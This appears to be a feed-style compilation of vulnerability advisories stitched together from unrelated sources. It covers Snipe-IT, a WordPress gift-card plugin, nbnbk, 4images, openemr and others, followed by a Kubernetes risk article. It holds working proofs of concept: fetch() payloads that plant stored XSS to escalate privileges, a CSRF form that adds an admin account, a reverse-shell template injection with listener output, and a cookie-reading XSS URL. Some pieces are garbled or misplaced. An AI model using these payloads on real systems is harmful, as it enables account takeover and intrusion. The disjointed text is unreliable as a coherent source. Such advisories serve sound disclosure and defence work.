Snipe-IT through 6.0.14 allows attackers to check whether a user account exists because of response variations in a /password/reset request.

POSTED BY: Charalampos Maraziaris / 23.12.2022

**Multiple vulnerabilities in Snipe-IT**

CENSUS ID:

CENSUS-2022-0002

CVE IDs:

CVE-2022-44380, CVE-2022-44381

Affected Products:

Snipe-IT versions prior to 6.0.14

Class of CVE-2022-44380:

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)

Class of CVE-2022-44381:

Improper Access Control (CWE-284)

Discovered by:

Charalampos Maraziaris

CENSUS identified Cross-Site Scripting (XSS) and username fingerprinting bugs in Snipe-IT. Snipe-IT is a free open source IT asset/license management system. CENSUS has verified that release 6.0.14 of Snipe-IT carries appropriate fixes only for the identified Cross Site Scripting vulnerabilities.

**CVE-2022-44380 Vulnerability Details**

A stored XSS vulnerability exists in the **"Account"** drop-down menu on the top-right of the app's UI (present in every page), when the user selects the **"View Assigned Assets"** options from the menu. A Stored XSS attack allows for adversaries to place malicious Javascript code into the database and have this Javascript code executed in a visitor's browser.

The loaded view (account/view-assets) renders Assets, Licences, Accessories and Consumables drawn from the database. The code responsible for presenting the database entries in the "account/view-assets" view (/resources/views/account/view-assets.blade.php) is presented below (release 6.0.12):

For Accessories: /resources/views/account/view-assets.blade.php

    
        550: <td>{!! $accessory->name !!}</td>
    

For Consumables: /resources/views/account/view-assets.blade.php

    
        598: <td>{!! $consumable->name !!}</td>
    

As shown above, the title is drawn from the database without using the double curly braces ({{ ... }}) that provide for HTML entity escaping in the Laravel Blade framework. Instead, ({!! ... !!}) is used that does not escape content. Therefore it is possible for an attacker to inject malicious Javascript in the Accessory and Consumable name field, and have this executed on a visitor's browser.

The stored XSS attack can be performed by an adversary that has **Accessory.CREATE** permissions (to insert an Accessory title in the database) and **Accessory.CHECKOUT** permissions (to assign this Accessory to any user). The same attack targeting Consumables can be performed by an adversary possessing **Consumable.CREATE** and **Consumable.CHECKOUT** permissions. Any user can be the victim of this attack as the malicious asset could be _assigned_ to that user. By targeting a Super User, an authenticated adversary can achieve privilege escalation, granting himself the Super User status.

As a proof of concept, the following payload creates a malicious **Accessory** entry:

    
    await fetch("http://SNIPE-IT-DOMAIN/accessories", {
        "credentials": "include",
        "headers": {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Content-Type": "multipart/form-data; boundary=---------------------------423391379527772494482286626525",
            "Upgrade-Insecure-Requests": "1",
            "Sec-Fetch-Dest": "document",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-User": "?1",
            "Pragma": "no-cache",
            "Cache-Control": "no-cache"
        },
        "referrer": "http://SNIPE-IT-DOMAIN/accessories/create",
        "body": "
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"_token\"\r\n\r\VALID_CSRF_TOKEN\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"company_id\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"name\"\r\n\r\nabc <script> alert(1); </script>\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"category_id\"\r\n\r\nVALID_CATEGORY_ID\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"supplier_id\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"manufacturer_id\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"location_id\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"model_number\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"order_number\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"purchase_date\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"purchase_cost\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"qty\"\r\n\r\n9999\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"min_amt\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"notes\"\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"image\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525\r\n
        Content-Disposition: form-data; 
        name=\"image\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n
        -----------------------------423391379527772494482286626525--\r\n",
        "method": "POST",
        "mode": "cors"
    });
    

To execute the above payload one needs to replace the VALID\_CSRF\_TOKEN and VALID\_CATEGORY\_ID with valid values.

The adversary can then use the following payload to assign the malicious Accessory to a victim user:

    
    await fetch("http://SNIPE-IT-DOMAIN/accessories/ACCESSORY_ID/checkout", {
        "credentials": "include",
        "headers": {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Content-Type": "application/x-www-form-urlencoded",
            "Upgrade-Insecure-Requests": "1",
            "Sec-Fetch-Dest": "document",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-User": "?1",
            "Pragma": "no-cache",
            "Cache-Control": "no-cache"
        },
        "referrer": "http://SNIPE-IT-DOMAIN/accessories/ACCESSORY_ID/checkout",
        "body": "_token=VALID_CSRF_TOKEN&assigned_to=VICTIM_USER_ID&note=",
        "method": "POST",
        "mode": "cors"
    });
    

Please replace VALID\_CSRF\_TOKEN, VICTIM\_USER\_ID and ACCESSORY\_ID with the relevant values. ACCESSORY\_ID would be the identifier of the newly created malicious accessory. VICTIM\_USER\_ID would be another user's ID. For example the app creator is a privileged account and usually has the ID 1.

It is important to note that the payload can perform any action on the platform as the victim user, including elevating the permissions of the attacker (if the victim user is a privileged account).

**CVE-2022-44381 Vulnerability Details**

The password reset mechanism displays a different message based on whether the (attacker-controlled) input username exists in the user database or not. It is therefore possible for an attacker to fingerprint if a specific username exists in the deployed system or not.

The attacker needs to send a malicious POST request targeting /password/reset as shown below:

    
        "body" : "_token=XXX&password=password123&password_confirmation=password123&token=123&username=TARGET_USERNAME"
    

where "\_token" is a CSRF token obtained by a previous request, e.g. a failed post request to

/login

.

The functionality of reset() is as follows:

1.  It validates that the required FORM fields exist and are well formed. It does NOT verify however the validity of the RESET "token" (the random 123 value in our example).
2.  Checks if an activated user with this username exists in the user database.
    *   If so, it tries to reset the old password with the new one. This fails, since the token does not match the server issued token, and results to a redirect to an **error** page (line 119).
    *   If not, the application redirects to a **success** page (line 125).

    
        public function reset(Request $request)
        {
            $broker = $this->broker();
            $request->validate($this->rules(), $request->all(), $this->validationErrorMessages());
    
            // Check to see if the user even exists - we'll treat the response the same to prevent user sniffing
            if ($user = User::where('username', '=', $request->input('username'))->where('activated', '1')->whereNotNull('email')->first()) {
    
                // set the response
                $response = $broker->reset(
                    $this->credentials($request), function ($user, $password) {
                    $this->resetPassword($user, $password);
                });
    
                // Check if the password reset above actually worked
                if ($response == \Password::PASSWORD_RESET) {
                    return redirect()->guest('login')->with('success', trans('passwords.reset'));
                }
    
                \Log::debug('Password reset for '.$user->username.' FAILED - this user exists but the token is not valid');
    119:        return redirect()->back()->withInput($request->only('email'))->with('error', trans('passwords.token'));
            }
    
    
            \Log::debug('Password reset for '.$request->input('username').' FAILED - user does not exist or does not have an email address - but make it look like it succeeded');
    125:    return redirect()->guest('login')->with('success', trans('passwords.reset'));
        }
    

Therefore the attacker can infer whether a username exists in the database, based on the contents of the output page.

**Recommendation**

At the time of writing Snipe-IT has only addressed the XSS issues of CVE-2022-44380 in version 6.0.14. No patch is currently available for the user fingerprinting issue CVE-2022-44381. We will be updating this advisory if / when a patch arrives for CVE-2022-44381. CENSUS strongly recommends upgrading to version 6.0.14 (or greater) of Snipe-IT for the time being.

**Disclosure Timeline**

Vendor Contact:

November 8, 2022

CVE Allocation:

November 30, 2022

Vendor Fix Released:

December 9, 2022

Public Advisory:

December 23, 2022

CVE-2022-44381: CENSUS | IT Security Works

WordPress Yith WooCommerce Gift Cards Premium plugin versions 3.19.0 and below suffer from a remote shell upload vulnerability.

Description: Unauthenticated Arbitrary File Upload

Affected Plugin: Yith WooCommerce Gift Cards Premium

Plugin Slug: yith-woocommerce-gift-cards-premium

Affected Versions: <= 3.19.0

CVE ID: CVE-2022-45359

CVSS Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Researcher/s:  Dave Jong

Fully Patched Version: 3.20.0

We were able to reverse engineer the exploit based on attack traffic and a copy of the vulnerable plugin and are providing information on its functionality as this vulnerability is already being exploited in the wild and a patch has been available for some time.

The issue lies in the import_actions_from_settings_panel function which runs on the admin_init hook.

Since admin_init runs for any page in the /wp-admin/ directory, it is possible to trigger functions that run on admin_init as an unauthenticated attacker by sending a request to /wp-admin/admin-post.php.

Since the import_actions_from_settings_panel function also lacks a capability check and a CSRF check, it is trivial for an attacker to simply send a request containing a page parameter set to yith_woocommerce_gift_cards_panel, a ywgc_safe_submit_field parameter set to importing_gift_cards, and a payload in the file_import_csv file parameter.

Since the function also does not perform any file type checks, any file type including executable PHP files can be uploaded.

Cyber Observables

These attacks may appear in your logs as unexpected POST requests to wp-admin/admin-post.php from unknown IP addresses. Additionally, we have observed the following payloads which may be useful in determining whether your site has been compromised. Note that we are providing normalized hashes (hashes of the file with all extraneous whitespace removed):

kon.php/1tes.php – this file loads a copy of the “marijuana shell” file manager in memory from a remote location at shell[.]prinsh[.]com and has a normalized sha256 hash of 1a3babb9ac0a199289262b6acf680fb3185d432ed1e6b71f339074047078b28c

b.php – this file is a simple uploader with a normalized sha256 hash of 3c2c9d07da5f40a22de1c32bc8088e941cea7215cbcd6e1e901c6a3f7a6f9f19

admin.php – this file is a password-protected backdoor and has a normalized sha256 hash of 8cc74f5fa8847ba70c8691eb5fdf8b6879593459cfd2d4773251388618cac90d

Although we’ve seen attacks from more than a hundred IPs, the vast majority of attacks were from just two IP addresses:

103.138.108.15, which sent out 19604 attacks against 10936 different sites

and

188.66.0.135, which sent 1220 attacks against 928 sites.

The majority of attacks occurred the day after the vulnerability was disclosed, but have been ongoing, with another peak on December 14, 2022. As this vulnerability is trivial to exploit and provides full access to a vulnerable website we expect attacks to continue well into the future.

Recommendations

If you are running a vulnerable version of YITH WooCommerce Gift Cards Premium, that is, any version up to and including 3.19.0, we strongly recommend updating to the latest version available. While the Wordfence firewall does provide protection against malicious file uploads even for free users, attackers may still be able to cause nuisance issues by abusing the vulnerable functionality in less critical ways.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance.

If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest patched version of YITH WooCommerce Gift Cards Premium as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence Community Edition leaderboard.

WordPress Yith WooCommerce Gift Cards Premium 3.19.0 Shell Upload

A Cross-Site Request Forgery (CSRF) vulnerability in the Add Administrator function of the default version of nbnbk allows attackers to arbitrarily add Administrator accounts.

**nbnbk 存在 CSRF 添加后台用户**

CSRF Add Background User in nbnbk

该漏洞可以通过 CSRF 的方式，无需知道管理员账号密码进入后台，即可在没有痕迹的添加管理员账户。  
漏洞存在版本：default

This vulnerability can be accessed via CSRF to add an administrator account without knowing the administrator account password to the background.

Vulnerability Existing Version: default

**具体实现**

Specific implementation

http://nbnbk:8888/fladmin/login

通过打开 /fladmin/login 路径进入后台登陆界面  
Enter the background login interface by opening/fladmin/login path

使用默认密码 admin888/123456 进入后台，找到用户管理列表里的 “管理员” 界面中的 “添加管理员” 功能点  
Use the default password admin888/123456 to enter the background and find the Add Administrator function point in the Administrator interface in the User Management List

随意输入用户名和密码，点击保存。  
Enter your username and password at will and click Save.

在 bp 查看请求数据包，然后通过 bp 生成 CSRF POC 代码。

复制后在本地新建文件，通过 python -m http.server 8099 开启本地的 web 服务。

View the request packet in BP and generate the CSRF POC code from bp.

Create a new file locally after copying, via python-m http. Server 8099 Opens a local web service.

    <html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://nbnbk:8888/fladmin/admin/add" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="name" value="admin" />
          <input type="hidden" name="pwd" value="123456" />
          <input type="hidden" name="email" value="" />
          <input type="hidden" name="role&#95;id" value="1" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    

点击 submit request 提交请求  
Click submit request to submit the request

点击后提示添加成功  
Hint to add success after clicking

查看我们的请求数据包  
View our request packet

Origin 和 referer 是我们自己的服务。CSRF 添加管理员账号报告到此结束。  
Origin and referer are our own services. This concludes the CSRF Add Administrator Account report.

CVE-2022-46491: 🛡️  CSRF Add Background User in nbnbk · Issue #2 · Fanli2012/nbnbk

** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in destiny.gg chat. It has been rated as problematic. This issue affects the function websocket.Upgrader of the file main.go. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The name of the patch is bebd256fc3063111fb4503ca25e005ebf6e73780. It is recommended to apply a patch to fix this issue. The identifier VDB-216521 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

For WebSocket upgrade requests, gorilla/websocket calls CheckOrigin to determine if the upgrade should be performed. The function should "carefully validate the request origin to prevent cross-site request forgery".

The current implementation immediately returns true, essentially performing no check. If undefined, a "safe default" is used, which only upgrades the request if the host component of the Origin header matches the Host header.

This PR removes the current implementation so the default is used.

CVE-2020-36625: Fix WebSocket upgrade CSRF vulnerability by 11k · Pull Request #35 · destinygg/chat

rdiffweb prior to version 2.5.4 is vulnerable to Cross-Site Request Forgery (CSRF).

**rdiffweb vulnerable to Cross-Site Request Forgery**

Moderate severity GitHub Reviewed Published Dec 22, 2022 • Updated Dec 22, 2022

GHSA-85fp-523q-5xwc: rdiffweb vulnerable to Cross-Site Request Forgery

4images version 1.9 suffers from a remote command execution vulnerability.

    # Exploit Title: 4images 1.9 - Remote Command Execution# Exploit Author: Andrey Stoykov# Software Link: https://www.4homepages.de/download-4images# Version: 1.9# Tested on: Ubuntu 20.04To reproduce do the following:1. Login as administrator user2. Browse to "General" -> " Edit Templates" -> "Select Template Pack" -> "default_960px" -> "Load Theme"3. Select Template "categories.html"4. Paste reverse shell code5. Click "Save Changes"6. Browse to "http://host/4images/categories.php?cat_id=1"// HTTP POST request showing reverse shell payloadPOST /4images/admin/templates.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]__csrf=c39b7dea0ff15442681362d2a583c7a9&action=savetemplate&content=[REVERSE_SHELL_CODE]&template_file_name=categories.html&template_folder=default_960px[...]// HTTP redirect response to specific templateGET /4images/categories.php?cat_id=1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]# nc -kvlp 4444listening on [any] 4444 ...connect to [127.0.0.1] from localhost [127.0.0.1] 43032Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64 GNU/Linux 13:54:28 up  2:18,  2 users,  load average: 0.09, 0.68, 0.56USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATkali     tty7     :0               11:58    2:18m  2:21   0.48s xfce4-sessionkali     pts/1    -                11:58    1:40  24.60s  0.14s sudo suuid=1(daemon) gid=1(daemon) groups=1(daemon)/bin/sh: 0: can't access tty; job control turned off$

4images 1.9 Remote Command Execution

Cross-Site Request Forgery (CSRF) in GitHub repository ikus060/rdiffweb prior to 2.5.4.

CVE-2022-4646: huntr – Security Bounties for any GitHub repository

A vulnerability was found in sah-comp bienlein and classified as problematic. This issue affects some unknown processing. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The name of the patch is d7836a4f2b241e4745ede194f0f6fb47199cab6b. It is recommended to apply a patch to fix this issue. The identifier VDB-216473 was assigned to this vulnerability.

@@ -35,22 +35,24 @@ public function index() session\_start(); Auth::check(); $this\->template = 'account/index';  
if (Flight::request()->method == 'POST') { if (! Model::validateCSRFToken(Flight::request()->data\->token)) { $this\->redirect("/logout"); } Flight::get('user')->import(Flight::request()->data\->dialog); try { R::store(Flight::get('user')); Flight::get('user')->notify(I18n::\_\_('account\_edit\_success'), 'success'); $this\->redirect('/account/'); } catch (Exception $e) { } catch (Exception $e) { Flight::get('user')->notify(I18n::\_\_('account\_edit\_failure'), 'error'); } } }  
$this\->render(); }  
/\*\* \* Displays a page to change the password. \* @@ -62,8 +64,11 @@ public function changepassword() session\_start(); Auth::check(); $this\->template = 'account/changepassword';  
if (Flight::request()->method == 'POST') { if (! Model::validateCSRFToken(Flight::request()->data\->token)) { $this\->redirect("/logout"); } if (Flight::get('user')->changePassword( Flight::request()->data\->pw, Flight::request()->data\->pw\_new, @@ -73,35 +78,33 @@ public function changepassword() R::store(Flight::get('user')); Flight::get('user')->notify(I18n::\_\_('account\_changepassword\_success'), 'success'); $this\->redirect('/account/'); } catch (Exception $e) { } catch (Exception $e) { //Whoops, what nu? } } else { } else { Flight::get('user')->notify(I18n::\_\_('account\_changepassword\_failure'), 'error'); } } }  
$this\->render(); }  
/\*\* \* Renders the account page. \*/ protected function render() { Flight::render('shared/notification', array(), 'notification'); // Flight::render('shared/notification', array(), 'notification'); // Flight::render('shared/navigation/account', array(), 'navigation\_account'); Flight::render('shared/navigation/main', array(), 'navigation\_main'); Flight::render('shared/navigation/main', array(), 'navigation\_main'); Flight::render('shared/navigation', array(), 'navigation'); Flight::render('account/toolbar', array(), 'toolbar'); Flight::render('shared/header', array(), 'header'); Flight::render('shared/footer', array(), 'footer'); Flight::render($this\->template, array( 'record' => Flight::get('user') ), 'content'); Flight::render('shared/header', array(), 'header'); Flight::render('shared/footer', array(), 'footer'); Flight::render($this\->template, array( 'record' => Flight::get('user') ), 'content'); Flight::render('html5', array( 'title' => I18n::\_\_("account\_head\_title"), 'language' => Flight::get('language')

CVE-2020-36622: Added CSRF prevention · sah-comp/bienlein@d7836a4

The first step toward securing Kubernetes environments is understanding the risks they pose and identifying the ways in which those risks can be mitigated.

_Editor's note: For more tools and techniques for securing Kubernetes, read our_ _companion article_ _in the DR Tech section._

A few short years ago, not many people had heard of the word "Kubernetes." Today, the open source container tool is becoming increasingly ubiquitous, with a rapidly growing number of businesses using Kubernetes to facilitate a more streamlined and scalable application development process. But as its convenience and scalability lead to greater adoption, protecting Kubernetes environments has become a challenge. Security and IT leaders who want to keep their Kubernetes environments secure must be aware of the three primary classes of risk they face — and how to mitigate them.

**Class 1: Accidental Misconfigurations**

Thus far, accidental misconfigurations have been the most common form of Kubernetes risk — the one most security experts are likely to be familiar with. Misconfigurations can occur anytime a user does something that unintentionally introduces risk into the environment. That might mean adding a workload that grants unnecessary permissions or accidentally creating an opening for someone from the anonymous Internet to access the system. Kubernetes is still relatively new to many, which means it can be easy to make mistakes.

Fortunately, there are several ways to mitigate misconfigurations. Just about everything that happens in Kubernetes automatically produces an audit log, and security teams can monitor those logs for anomalous signs. Many businesses do this by sending the logs to a security information and event management (SIEM) platform, which can identify predetermined signs of misconfiguration. Additionally, tools (both paid and open source) are available that can be used to scan your Kubernetes environment for best practice violations. Once the problem is identified, an alert can be sent to the appropriate party and the problem triaged.

**Class 2: Software Supply Chain**

The most common way software ends up running in Kubernetes is via deployed container images. Those images are deployed to Kubernetes for distribution across the environment, which makes them an ideal target for attackers. In today's world, businesses rely heavily on third-party software with code they didn't write — and anytime a business introduces outside code into its environment, risks are involved. If a compromised image is introduced, that image may proliferate throughout the environment, distributing malicious code wherever it goes.

Thankfully, controls can help. It's always better to identify compromised code _before_ it enters the system rather than remediate it afterward, and consumers can seek out developer security platforms and other solutions capable of scanning code and images to look for signs of malicious code and prevent it from being deployed. That said, it's impossible to prevent everything, which means continuous monitoring at runtime is also important. Keeping an eye out for suspicious behavior or code that comes from an unknown source can help identify potential security threats before they have a chance to escalate.

**Class 3: Active Attacker Compromise**

This type of threat gets the most attention because it's the "flashiest," but, in reality, it's the least common. Yes,  the threat of an attacker specifically working to compromise a business' Kubernetes environment always exists. For now, these instances are rare, but that is likely to change as businesses continue to adopt Kubernetes. There are a number of ways attackers have found success targeting Kubernetes environments. Cross-site request forgery (CSRF) attacks involve convincing an application to make a request on the attacker's behalf, while remote code execution (RCE) attacks convince an application to run a command of the attacker's choice. In both cases, the target is commonly credential data, which the attacker can then use to grant themselves additional access to the environment.

Avoiding this class of risk often boils down to ensuring your software and infrastructure follow security best practices and monitoring to catch potential vulnerabilities. Developer security awareness and education are useful tools, but it's also important to reduce the opportunity for error with security controls — your environment should never be one mistake away from a serious vulnerability. Fortunately, controls are improving. Cloud security posture management (CSPM) tools and static analysis tools can help flag and prevent vulnerabilities before they are deployed. It's also crucial to have visibility and monitoring at runtime to detect issues that slip through the cracks. This can be accomplished by monitoring audit logs and installing container security solutions to detect when something goes wrong at runtime.

**Understand — and Mitigate — Kubernetes Risks**

Kubernetes is still relatively new, but its usefulness has driven rapid adoption. This is great for the developers who use it, but it poses an undeniable challenge for security and IT teams scrambling to keep up. The first step toward securing Kubernetes environments is understanding the risks they pose and identifying the ways in which those risks can be mitigated. With security lagging behind adoption, attackers are beginning to view Kubernetes as an attractive target — and businesses using Kubernetes need to avoid making themselves easy prey.

Understanding the 3 Classes of Kubernetes Risk

Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.2.

**Description**

When testing the app for XSS we found out that the fee\_sheet\_ajax.php endpoint is actually vulnerable to an XSS exploit.

**PoC**

1.  visit https://<openemr-instance>/interface/forms/fee\_sheet/review/fee\_sheet\_ajax.php?task=retrieve&mode=encounters&prev\_encounter=%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E

**OWASP Category**

A03:2021-Injection

**Remediation**

Add text() to https://github.com/openemr/openemr/blob/master/interface/forms/fee\_sheet/review/fee\_sheet\_ajax.php#L65

**Impact**

The impact of an exploited XSS vulnerability varies a lot. It ranges from Session Hijacking to the disclosure of sensitive data, CSRF attacks and more. By exploiting a cross-site scripting vulnerability an attacker can impersonate the victim and take over the account. If the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account.

**Occurrences**

Tag

#csrf